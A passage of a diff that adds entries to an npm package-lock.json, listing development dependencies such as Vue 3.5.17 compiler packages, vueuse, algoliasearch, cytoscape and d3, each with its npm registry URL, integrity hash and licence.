"https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", + "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/katex": { + "version": "0.16.7", + "resolved": "https://registry.npmjs.org/@types/katex/-/katex-0.16.7.tgz", + "integrity": "sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/linkify-it": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@types/linkify-it/-/linkify-it-5.0.0.tgz", + "integrity": "sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/markdown-it": { + "version": "14.1.2", + "resolved": "https://registry.npmjs.org/@types/markdown-it/-/markdown-it-14.1.2.tgz", + "integrity": "sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/linkify-it": "^5", + "@types/mdurl": "^2" + } + }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mdurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@types/mdurl/-/mdurl-2.0.0.tgz", + "integrity": "sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "22.13.4", + "resolved": "https://registry.npmjs.org/@types/node/-/node-22.13.4.tgz", + "integrity": "sha512-ywP2X0DYtX3y08eFVx5fNIw7/uIv8hYUKgXoK8oayJlLnKcRfEYCxWMVE1XagUdVtCJlZT1AU4LXEABW+L1Peg==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~6.20.0" + } + }, + "node_modules/@types/sax": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.7.tgz", + "integrity": "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/trusted-types": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", + "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/@types/unist": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.20", + "resolved": "https://registry.npmjs.org/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", + "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", + "dev": true, + "license": "MIT" + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "dev": true, + "license": "ISC" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-vue/-/plugin-vue-5.2.1.tgz", + "integrity": "sha512-cxh314tzaWwOLqVes2gnnCtvBDcM1UMdn+iFR+UjAn411dPT3tOmqrJjbMd7koZpMAmBM/GqeV4n9ge7JSiJJQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.17.tgz", + "integrity": "sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.27.5", + "@vue/shared": "3.5.17", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz", + "integrity": "sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.17", + "@vue/shared": "3.5.17" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz", + "integrity": "sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.27.5", + "@vue/compiler-core": "3.5.17", + "@vue/compiler-dom": "3.5.17", + "@vue/compiler-ssr": "3.5.17", + "@vue/shared": "3.5.17", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.17", + "postcss": "^8.5.6", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz", + "integrity": "sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.17", + "@vue/shared": "3.5.17" + } + }, + "node_modules/@vue/devtools-api": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@vue/devtools-api/-/devtools-api-7.7.2.tgz", + "integrity": "sha512-1syn558KhyN+chO5SjlZIwJ8bV/bQ1nOVTG66t2RbG66ZGekyiYNmRO7X9BJCXQqPsFHlnksqvPhce2qpzxFnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/devtools-kit": "^7.7.2" + } + }, + "node_modules/@vue/devtools-kit": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@vue/devtools-kit/-/devtools-kit-7.7.2.tgz", + "integrity": "sha512-CY0I1JH3Z8PECbn6k3TqM1Bk9ASWxeMtTCvZr7vb+CHi+X/QwQm5F1/fPagraamKMAHVfuuCbdcnNg1A4CYVWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/devtools-shared": "^7.7.2", + "birpc": "^0.2.19", + "hookable": "^5.5.3", + "mitt": "^3.0.1", + "perfect-debounce": "^1.0.0", + "speakingurl": "^14.0.1", + "superjson": "^2.2.1" + } + }, + "node_modules/@vue/devtools-shared": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@vue/devtools-shared/-/devtools-shared-7.7.2.tgz", + "integrity": "sha512-uBFxnp8gwW2vD6FrJB8JZLUzVb6PNRG0B0jBnHsOH8uKyva2qINY8PTF5Te4QlTbMDqU5K6qtJDr6cNsKWhbOA==", + "dev": true, + "license": "MIT", + "dependencies": { + "rfdc": "^1.4.1" + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.17.tgz", + "integrity": "sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.17" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.17.tgz", + "integrity": "sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.17", + "@vue/shared": "3.5.17" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz", + "integrity": "sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.17", + "@vue/runtime-core": "3.5.17", + "@vue/shared": "3.5.17", + "csstype": "^3.1.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.17.tgz", + "integrity": "sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.17", + "@vue/shared": "3.5.17" + }, + "peerDependencies": { + "vue": "3.5.17" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.17", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.17.tgz", + "integrity": "sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vueuse/core": { + "version": "12.7.0", + "resolved": "https://registry.npmjs.org/@vueuse/core/-/core-12.7.0.tgz", + "integrity": "sha512-jtK5B7YjZXmkGNHjviyGO4s3ZtEhbzSgrbX+s5o+Lr8i2nYqNyHuPVOeTdM1/hZ5Tkxg/KktAuAVDDiHMraMVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/web-bluetooth": "^0.0.20", + "@vueuse/metadata": "12.7.0", + "@vueuse/shared": "12.7.0", + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/integrations": { + "version": "12.7.0", + "resolved": "https://registry.npmjs.org/@vueuse/integrations/-/integrations-12.7.0.tgz", + "integrity": "sha512-IEq7K4bCl7mn3uKJaWtNXnd1CAPaHLUMuyj5K1/k/pVcItt0VONZW8xiGxdIovJcQjkzOHjImhX5t6gija+0/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vueuse/core": "12.7.0", + "@vueuse/shared": "12.7.0", + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "async-validator": "^4", + "axios": "^1", + "change-case": "^5", + "drauu": "^0.4", + "focus-trap": "^7", + "fuse.js": "^7", + "idb-keyval": "^6", + "jwt-decode": "^4", + "nprogress": "^0.2", + "qrcode": "^1.5", + "sortablejs": "^1", + "universal-cookie": "^7" + }, + "peerDependenciesMeta": { + "async-validator": { + "optional": true + }, + "axios": { + "optional": true + }, + "change-case": { + "optional": true + }, + "drauu": { + "optional": true + }, + "focus-trap": { + "optional": true + }, + "fuse.js": { + "optional": true + }, + "idb-keyval": { + "optional": true + }, + "jwt-decode": { + "optional": true + }, + "nprogress": { + "optional": true + }, + "qrcode": { + "optional": true + }, + "sortablejs": { + "optional": true + }, + "universal-cookie": { + "optional": true + } + } + }, + "node_modules/@vueuse/metadata": { + "version": "12.7.0", + "resolved": "https://registry.npmjs.org/@vueuse/metadata/-/metadata-12.7.0.tgz", + "integrity": "sha512-4VvTH9mrjXqFN5LYa5YfqHVRI6j7R00Vy4995Rw7PQxyCL3z0Lli86iN4UemWqixxEvYfRjG+hF9wL8oLOn+3g==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "12.7.0", + "resolved": "https://registry.npmjs.org/@vueuse/shared/-/shared-12.7.0.tgz", + "integrity": "sha512-coLlUw2HHKsm7rPN6WqHJQr18WymN4wkA/3ThFaJ4v4gWGWAQQGK+MJxLuJTBs4mojQiazlVWAKNJNpUWGRkNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/acorn": { + "version": "8.14.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz", + "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/algoliasearch": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-5.20.3.tgz", + "integrity": "sha512-iNC6BGvipaalFfDfDnXUje8GUlW5asj0cTMsZJwO/0rhsyLx1L7GZFAY8wW+eQ6AM4Yge2p5GSE5hrBlfSD90Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-abtesting": "5.20.3", + "@algolia/client-analytics": "5.20.3", + "@algolia/client-common": "5.20.3", + "@algolia/client-insights": "5.20.3", + "@algolia/client-personalization": "5.20.3", + "@algolia/client-query-suggestions": "5.20.3", + "@algolia/client-search": "5.20.3", + "@algolia/ingestion": "1.20.3", + "@algolia/monitoring": "1.20.3", + "@algolia/recommend": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/ansi-regex": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", + "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/birpc": { + "version": "0.2.19", + "resolved": "https://registry.npmjs.org/birpc/-/birpc-0.2.19.tgz", + "integrity": "sha512-5WeXXAvTmitV1RqJFppT5QtUiz2p1mRSYU000Jkft5ZUCLJIk4uQriYNO50HknxKwM6jd8utNc66K1qGIwwWBQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chevrotain": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-11.0.3.tgz", + "integrity": "sha512-ci2iJH6LeIkvP9eJW6gpueU8cnZhv85ELY8w8WiFtNjMHA5ad6pQLaJo9mEly/9qUyCpvqX8/POVUTf18/HFdw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/cst-dts-gen": "11.0.3", + "@chevrotain/gast": "11.0.3", + "@chevrotain/regexp-to-ast": "11.0.3", + "@chevrotain/types": "11.0.3", + "@chevrotain/utils": "11.0.3", + "lodash-es": "4.17.21" + } + }, + "node_modules/chevrotain-allstar": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/chevrotain-allstar/-/chevrotain-allstar-0.3.1.tgz", + "integrity": "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lodash-es": "^4.17.21" + }, + "peerDependencies": { + "chevrotain": "^11.0.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/commander": { + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-13.1.0.tgz", + "integrity": "sha512-/rFeCpNJQbhSZjGVwO9RFV3xPqbnERS8MmIQzCtD/zl6gpJuV/bMLuN92oG3F7d8oDEHHRrujSXNUr8fpjntKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/copy-anything": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-3.0.5.tgz", + "integrity": "sha512-yCEafptTtb4bk7GLEQoM8KVJpxAfdBJYaXyzQEgQQQgYrZiDp8SJmGKlYza6CYjEDNstAdNdKA3UuoULlEbS6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-what": "^4.1.8" + }, + "engines": { + "node": ">=12.13" + }, + "funding": { + "url": "https://github.com/sponsors/mesqueeb" + } + }, + "node_modules/cose-base": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/cose-base/-/cose-base-1.0.3.tgz", + "integrity": "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==", + "dev": true, + "license": "MIT", + "dependencies": { + "layout-base": "^1.0.0" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "dev": true, + "license": "MIT" + }, + "node_modules/cytoscape": { + "version": "3.30.4", + "resolved": "https://registry.npmjs.org/cytoscape/-/cytoscape-3.30.4.tgz", + "integrity": "sha512-OxtlZwQl1WbwMmLiyPSEBuzeTIQnwZhJYYWFzZ2PhEHVFwpeaqNIkUzSiso00D98qk60l8Gwon2RP304d3BJ1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/cytoscape-cose-bilkent": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz", + "integrity": "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cose-base": "^1.0.0" + }, + "peerDependencies": { + "cytoscape": "^3.2.0" + } + }, + "node_modules/cytoscape-fcose": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cytoscape-fcose/-/cytoscape-fcose-2.2.0.tgz", + "integrity": "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cose-base": "^2.2.0" + }, + "peerDependencies": { + "cytoscape": "^3.2.0" + } + }, + "node_modules/cytoscape-fcose/node_modules/cose-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cose-base/-/cose-base-2.2.0.tgz", + "integrity": "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g==", + "dev": true, + "license": "MIT", + "dependencies": { + "layout-base": "^2.0.0" + } + }, + "node_modules/cytoscape-fcose/node_modules/layout-base": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/layout-base/-/layout-base-2.0.1.tgz", + "integrity": "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==", + "dev": true, + "license": "MIT" + }, + "node_modules/d3": { + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-7.9.0.tgz", + "integrity": "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": 